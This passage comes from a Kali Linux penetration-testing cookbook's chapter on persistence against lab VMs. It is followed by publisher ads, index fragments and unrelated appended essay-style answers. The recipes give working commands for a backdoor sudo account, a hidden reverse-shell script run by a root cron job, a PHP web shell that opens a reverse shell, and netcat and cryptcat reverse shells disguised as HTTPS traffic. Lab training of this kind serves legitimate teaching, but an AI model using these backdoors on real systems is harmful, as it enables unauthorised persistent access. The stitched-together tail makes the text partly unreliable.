then connects back to a listener on the Kali machine, establishing a Meterpreter session. Because
the shell runs under the SYSTEM account, it has maximum privileges. This method is effective and
difficult to detect unless active auditing of the scheduled tasks is occurring.
502 Persistence Pays: Securing Long-Term Access
See also
More information on scheduled tasks can be found at [Link]
T1053/005/ and [Link]
windows-scheduled-tasks.
Getting ready
You will need the following to complete this recipe:
How to do it…
1. Open a terminal window in Kali.
2. Start Metasploitable:
sudo msfdb run
Tip
In this recipe, we are not worried about the process of initial exploitation of
the target, as we have learned how to do that in prior chapters. Therefore,
we are using a standard ssh connection for initial connectivity.
Chapter 13 503
4. Let’s see what session was created and connect to it, as shown in the following code and
figure:
sessions
sessions -i 2 (use whatever session number is connected)
5. Let’s get a system shell and check who we are, as shown in the following code and figure:
shell
whoami
6. Let’s add a user to the Linux system that we can use in the future:
sudo adduser cassian
504 Persistence Pays: Securing Long-Term Access
Enter a username and password of password123!, and leave the rest of the options blank.
When you are asked whether the information is correct, type y:
7. Let’s make sure our user has root-level access, as shown in the following code and figure:
sudo usermod -aG sudo cassian
id cassian
8. You can now exit Metasploit and close the terminal window.
Chapter 13 505
How it works…
Once a shell is obtained on a Linux system, the attacker can use native system commands to cre-
ate a new user account and assign it to the sudo or root group. This grants the new account full
administrative privileges, allowing it to execute any command or regain access at will. Because
the account is managed through the system’s own authentication mechanisms, it doesn’t rely on
malware or external implants, making it highly persistent and stealthy. If desired, the attacker
can further enhance persistence by disguising the account name or adding a cron job or script
that re-adds the user if deleted.
See also
For more information on local accounts, check out this site: [Link]
techniques/T1136/001/.
Getting ready
You will need the following to complete this recipe:
How to do it…
1. Open a terminal window in Kali.
2. Start Metasploit using the following:
sudo msfdb run
4. Let’s see what we have for sessions and connect to the proper one:
sessions
sessions -i 2 (use whatever session number is connected)
5. Let’s get a system shell and create our backdoor shell script using the following:
shell
echo '#!/bin/bash' > /tmp/.[Link]
echo "bash -i >& /dev/tcp/[Link]/5551 0>&1" >> /tmp/.[Link]
chmod +x /tmp/.[Link]
6. We need to elevate ourselves to superuser and edit the crontab file, as shown in the fol-
lowing code and figure:
sudo su
echo "* * * * * root /tmp/.[Link]" >> /etc/crontab
7. You can now exit Metasploit, but leave the terminal window open.
8. Let’s create a listener with netcat (nc) that our compromised system will connect to, as
shown in the following code and figure:
nc -lvnp 5551
9. Now, we just have to wait for a connection, and within a minute, we have one:
10. Confirm that you are logged in as root, as shown in the following code and figure:
whoami
11. You may now close the terminal window that is running netcat.
How it works…
In this technique, a reverse shell script is created on the target, and a root-level cron job is con-
figured to call it every minute. When triggered, the script initiates a reverse connection back to
our Kali machine. Because cron operates in the background, it provides a simple and effective
method for persistent access.
See also
You can read more about persistence through scheduled tasks at [Link]
techniques/T1053/003/.
508 Persistence Pays: Securing Long-Term Access
Getting ready
You will need the following to complete this recipe:
How to do it…
1. Open a terminal window in Kali.
2. Let’s create a php script we can run on the remote machine to regain access to the com-
promised system:
nano [Link]
<?php
exec("/bin/bash -c 'bash -I >& /dev/tcp/[Link]/5553 0>&1'");
?>
3. Start Metasploit:
sudo msfdb run
Chapter 13 509
5. Let’s see what we have for sessions and connect to the proper one:
sessions
sessions -i 2 (use whatever session number is connected)
6. Let’s get a system shell and upload our exploit script file, as shown in the following code
and figure:
upload [Link] /var/www/uploads/[Link]
7. You can now exit Metasploit, but leave the terminal window open.
8. Start your listener with netcat:
nc -lvnp 5553
9. Now, let’s trigger the exploit. Open Firefox and navigate to [Link]
uploads/[Link]:
10. We now have an open session where we can interact, as shown in the following code
and figure:
cd /
ls
How it works…
Web-based backdoors are scripts (typically written in PHP, ASPX, or JSP) that are placed in a di-
rectory served by a web server, allowing remote command execution when triggered via a web
request. We uploaded a PHP script to a writable directory on the target machine. We can then
visit the URL of that file, and the PHP code executes. This then opens a reverse shell back to our
netcat listener. This method provides a low-profile way to maintain access over time.
Chapter 13 511
See also
Additional Information about web shells and this recipe can be found at [Link]
org/techniques/T1505/003/ and [Link]
Unrestricted_File_Upload.
Getting ready
You will need the following to complete this recipe:
How to do it…
1. From Kali, open two terminal windows and position them side by side:
3. In the right terminal window, access the Metasploitable 3 VM and start the reverse shell:
ssh vagrant@[Link] (Your Metasploitable IP)
4. Start the reverse shell (substitute [Link] with your Kali IP address):
rm -f /tmp/rs; mkfifo /tmp/rs; nc [Link] 443 0</tmp/rs | /bin/
bash >/tmp/rs 2>&1
Tip
To put this in the background, you can add & at the end of the command,
which will automatically send it to the background:
rm -f /tmp/rs; mkfifo /tmp/rs; nc [Link] 443 0</
tmp/rs | /bin/bash >/tmp/rs 2>&1 &
5. You will immediately receive a connection, as you will see in the left terminal window:
6. In that window, run a few commands to verify access, as shown in the following code
and figure:
ls
cd /home
ls -lai
Chapter 13 513
How it works…
We used standard tools (nc and bash) to establish a reverse shell that mimics HTTPS traffic. A
connection over TCP port 443 blends in with normal encrypted web traffic, making it harder for
basic firewalls or network monitors to detect. The use of mkfifo ensures that input and output
streams are handled properly. However, netcat transmits in clear text, so anyone would be able
to see the contents of the traffic. Further, you can combine this recipe with what you learned in
the Persisting Linux connectivity recipe and use a cron job to make this persistent across logins
and reboots.
Getting ready
You will need the following to complete this recipe:
How to do it…
1. From Kali, open two terminal windows and position them side by side:
6. Start the reverse shell (substitute [Link] with your Kali IP address):
rm /tmp/rs; mkfifo /tmp/rs; cryptcat -k hackme [Link] 443 0</
tmp/rs | /bin/bash >/tmp/rs 2>&1
Chapter 13 515
Tip
To put this in the background, you can add & at the end of the command,
which will automatically send it to the background:
rm /tmp/rs; mkfifo /tmp/rs; cryptcat -k hackme
[Link] 443 0</tmp/rs | /bin/bash >/tmp/rs 2>&1 &
8. In that window, run a few commands to verify access, as shown in the following code
and figure:
ls
cd /home
ls -lai
How it works…
Cryptcat is pretty much the same as netcat from a command structure, just with the addition
of symmetrical encryption. We were able to easily replace the prior recipe’s commands to add a
layer of encryption, making it harder to determine what is actually occurring.
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require an invoice.
14
Unlock Your Exclusive Benefits
Your copy of this book includes the following exclusive benefits:
Follow the guide below to unlock them. The process takes only a few minutes and needs to be
completed once.
Note: If you bought this book directly from Packt, no invoice is required. After Step 2,
you can access your exclusive content right away.
518 Unlock Your Exclusive Benefits
Step 2
Scan the QR code or go to [Link]/unlock.
On the page that opens (similar to Figure 14.1 on desktop), search for this book by name and select
the correct edition.
Step 3
After selecting your book, sign in to your Packt account or create one for free. Then upload your
invoice (PDF, PNG, or JPG, up to 10 MB). Follow the on-screen instructions to finish the process.
Need help?
If you get stuck and need help, visit [Link]
unlock-benefits/help for a detailed FAQ on how to find your
invoices and more. This QR code will take you to the help page.
Subscribe to our online digital library for full access to over 7,000 books and videos, as well as
industry leading tools to help you plan your personal development and advance your career. For
more information, please visit our website.
Why subscribe?
• Spend less time learning and more time coding with practical eBooks and Videos from
over 4,000 industry professionals
• Improve your learning with Skill Plans built especially for you
• Get a free eBook or video every month
• Fully searchable for easy access to vital information
• Copy and paste, print, and bookmark content
At [Link], you can also read a collection of free technical articles, sign up for a range of
free newsletters, and receive exclusive discounts and offers on Packt books and eBooks.
Other Books
You May Enjoy
If you enjoyed this book, you may be interested in these other books by Packt:
Glen D. Singh
ISBN: 978-1-83508-580-6
ISBN: 978-1-80181-977-0
• Exploit networks using wired/wireless networks, cloud infrastructure, and web services
• Learn embedded peripheral device, Bluetooth, RFID, and IoT hacking techniques
• Master the art of bypassing traditional antivirus and endpoint detection and response
(EDR) tools
• Test for data system exploits using Metasploit, PowerShell Empire, and CrackMapExec
• Perform cloud security vulnerability assessment and exploitation of security misconfig-
urations
• Use bettercap and Wireshark for network sniffing
• Implement complex attacks with Metasploit, Burp Suite, and OWASP ZAP
525
Bitcoin
A employing 57-63
access points (APs) 424 Border Gateway Protocol (BGP) 106
advanced and targeted vulnerability scan brute-forcing password hashes 360, 361
executing, with Nessus 238-243 Buggy Web Application (BWAPP)
Advanced Package Tool (APT) 27 installing and setting up, via bee-box 46-51
advanced scanning
reference link 227 C
AI LLMs captured traffic
using, to enhance phishing attacks 300-302 filtering 186-190
alternate online personas Censys 99
building 78-81
CeWL
anonymity 56 reference link 365
essentials 56, 57 used, for generation custom
Armitage word lists 364, 365
setting up 274-276 chatbot-based social engineering attacks
used, for visualizing targets 276-279 launching 311-315
artificial intelligence (AI) 81, 297 ChatGPT 86
complete online personas, CherryTree
building with 81-86
used, for organizing data 90-93
intelligence gathering, enhancing 297-300
cloud services information
attackers recycle stolen credentials
gathering 113-116
stuffing 390, 391
collaborative hacking 280-284
autonomous system numbers (ASNs) 106
collected data
B examining 428-432
command injection attack
bee-box performing 469-476
bWAPP, installing and setting up via 46-51
Common Vulnerability Scoring System
bettercap 344 (CVSS) 247
528 Index
G K
Google Hacking Database (GHDB) 256 Kali Linux
graphical user interface (GUI) 274 installing, in Docker 14-17
Greenbone Vulnerability Manager (GVM) installing, in VirtualBox 8-13
installation link 215 installing, on Raspberry PI 17-23
setting up 210-215 securing 29-32
used, for executing targeted vulnerability updating and upgrading 23-27
scan 221-227 Kali metapackages
used, for performing subnet vulnerability installing 27-29
scan 215-221 keystrokes
logging 368-371
H Kismet 425
hardware and device type fingerprinting
performing 152-157 L
hidden networks 425 lab environment
hidden SSIDs architecture and considerations 3
scanning 425-428 large language models (LLMs) 86, 291
host discovery LDAP passwords
performing 137-141 cracking 379
Linux
I backdoor, creating 502-505
infectious media connectivity, persisting 505-507
creating 328, 329 Linux chained privilege escalation 409-412
internal routing information Linux chained privilege
gathering 110-113 identification 409-412
internet service provider (ISP) 105 Linux chained privilege
intrusion detection systems (IDSs) 159 root escalation 406-408
Linux privilege escalation 404-406
J local exploit databases
searching 249-253
John the Ripper
optimizing 362-364 local Linux passwords
cracking 356-360
530 Index
websites
Y
Nikto, used for scanning
vulnerabilities for 456, 457 Yersinia
Skipfish, used for scanning vulnerabilities reference link 290
for 457-462 using, to attack network protocols 284-290
ZAP, used for scanning vulnerabilities
for 462-466 Z
Windows
backdoor, creating 496-498 Zed Attack Proxy (ZAP)
connectivity, persisting 499-501 URL 466
Windows, installing on 4-8 using, to scan websites for vulnerabilities
462-466
Windows applications
Zip files
elevated privileges, running 394-396
cracking 387-390
Windows exploit chaining
elevated privileges, running 398-403
Windows services
elevated privileges, running 396-398
Windows VMs
installing 37-42
wireless DoS attack
performing 432-435
wireless intrusion detection systems
(WIDSs) 435
Wireshark
setting up 172-175
WLAN testing environment
building 416-421
WPA2 keys
cracking 435-439
Nessus and Greenbone Vulnerability Manager (GVM) contribute to comprehensive vulnerability assessments by offering scanning capabilities to detect known vulnerabilities, misconfigurations, and network weaknesses. Nessus provides in-depth scanning with plugins to identify a wide array of vulnerabilities and compliance issues, while GVM offers robust vulnerability management processes, with features like automated reporting and remediation tracking. Both tools enhance an organization's ability to timely identify and manage vulnerabilities, prioritize remediation efforts based on risk severity, and ensure regulatory compliance .
Nmap's SYN scan, often referred to as a half-open scan, contributes to evasion techniques by sending only the initial TCP SYN packet without completing the handshake. This approach makes it less likely to be logged by target systems, which typically record completed connections only. The benefits include reduced detection likelihood by firewalls and intrusion detection systems (IDS) that monitor full connections. However, the potential drawback is that some modern IDS solutions are capable of detecting these half-open connections and may trigger alarms if they detect repeated SYN scans .
AI can enhance phishing attacks by generating highly convincing and targeted messages using natural language processing, automating the personalization of emails or communications, and performing sophisticated reconnaissance to tailor messages to individual victims. Despite these advancements, ethical considerations include the potential misuse of AI to conduct widespread attacks that could undermine user trust in online communications. Security professionals must balance the use of AI in cybersecurity by ensuring legitimate purposes only, advocating for stronger ethical guidelines, and engaging in transparent, responsible disclosure .
Attackers leverage site cloning by creating near-identical replicas of trusted websites to gather personal or financial data from unsuspecting users. They often distribute links to these cloned sites through phishing emails or other deceitful communication methods. To mitigate such risks, measures such as user education on recognizing phishing attempts, implementing multi-factor authentication, and employing DNS filtering to block access to known malicious domains can be effective. Organizations should also regularly update their domain registration and monitor for unauthorized use of their branding .
The Nmap -A scan is beneficial for penetration testers as it provides comprehensive information about hosts, including OS details, version detection, and open services, all in a single pass. It quickly aids in identifying vulnerabilities and gathering essential data to prepare for further testing. However, the extensive data collection and potentially intrusive nature of the scan can raise alarms in network intrusion detection systems (IDS). Hence, its visibility and bandwidth consumption can lead to increased detection risk, making it less suitable for stealthy penetration tests .
Wireshark's filtering capabilities allow users to capture and analyze only the relevant packets, significantly enhancing efficiency and effectiveness. By setting display filters to focus on specific protocols, IP addresses, or conversations, analysts can reduce data overload and highlight packets of interest without wading through irrelevant information. This targeted approach streamlines the analysis process, assists in quicker identification of network anomalies, and aids in vulnerability assessments .
Metasploit plays a crucial role in exploiting system vulnerabilities by providing a comprehensive framework for security testing, with a large repository of exploits, payloads, and auxiliary tools. It allows penetration testers to perform vulnerability assessments, exploit discovery, and post-exploitation analysis efficiently. Metasploit's interactive environment aids in testing the responsiveness of security measures by simulating real-world attack scenarios. This contributes significantly to security testing by identifying existing vulnerabilities and validating the effectiveness of current defenses .
Implementing display filters in Wireshark significantly impacts the analysis of captured network traffic by allowing analysts to focus on specific packets of interest, such as those from a particular IP address or protocol, without sifting through all captured data. This efficiency enhances the capability to quickly identify and address potential security threats or anomalies. In network security operations, display filters contribute to faster problem resolution, more accurate diagnostics, and improved visibility into real-time network events, ultimately leading to improved security posture .
Host discovery is a critical step in network scanning, serving as the foundation for any penetration testing strategy. It helps identify the active devices within a target network, forming an initial asset inventory that guides the subsequent scanning efforts. Efficient use of host discovery techniques, such as ICMP echo requests or TCP SYN scans, saves time and resources by narrowing the focus to live hosts only, thus enhancing the effectiveness and precision of vulnerability assessments and threat analyses .
The use of AI large language models (LLMs) for phishing enhancements raises significant ethical implications and security concerns. LLMs can generate sophisticated phishing content personalized to individuals, thereby increasing the success rate of phishing attacks. This raises concerns over user privacy, data protection, and the potential for widespread misuse of AI technologies. Ethically, cybersecurity professionals face the challenge of ensuring the responsible use of AI in developing defenses and countermeasures rather than facilitating attacks. Strict adherence to ethical guidelines and regulations is necessary to prevent these technologies from being harnessed for malicious purposes .